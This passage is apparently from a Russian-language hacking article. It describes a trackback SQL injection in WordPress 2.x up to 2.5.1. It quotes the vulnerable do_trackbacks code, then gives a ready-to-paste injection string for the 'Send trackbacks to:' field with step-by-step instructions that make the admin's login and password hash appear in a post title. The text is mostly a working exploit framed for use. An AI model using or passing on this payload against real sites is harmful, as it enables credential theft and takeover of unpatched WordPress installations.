5. Trackback SQL Injection (2.x<=WordPress<=2.5.1?)
Вторая SQL-инъекция присутствует уже именно в механизме Трэкбэков и выглядит не так ужасно

Открывай файл ./wp-includes/comment.php и находи в нем такой код:
Код:
function do_trackbacks($post_id) {
...
$to_ping = get_to_ping($post_id);
...
if ( $to_ping ) {
foreach ( (array) $to_ping as $tb_ping ) {
$tb_ping = trim($tb_ping);
if ( !in_array($tb_ping, $pinged) ) {
trackback($tb_ping, $post_title, $excerpt, $post_id);
$pinged[] = $tb_ping;
} else {
$wpdb->query("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, '$tb_ping', '')) WHERE ID = '$post_id'");
}
}
}
}
Здесь снова наблюдаем такую же ситуацию: переменная $to_ping подставляется в следующий запрос без какой-либо фильтрации.
Использовать эту SQL-инъекцию очень просто:
1. Создавай новый пост, в "Send trackbacks to:" вставляй следующее:
Код:
test','')),post_title=(select/**/concat(user_login,':',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'blah
2. Сохраняй пост, заходи в редактирование вновь созданного поста и опять вставляй туда же тот же самый код;
3. Сохраняйся и наблюдай в тайтле поста логин и пароль админа
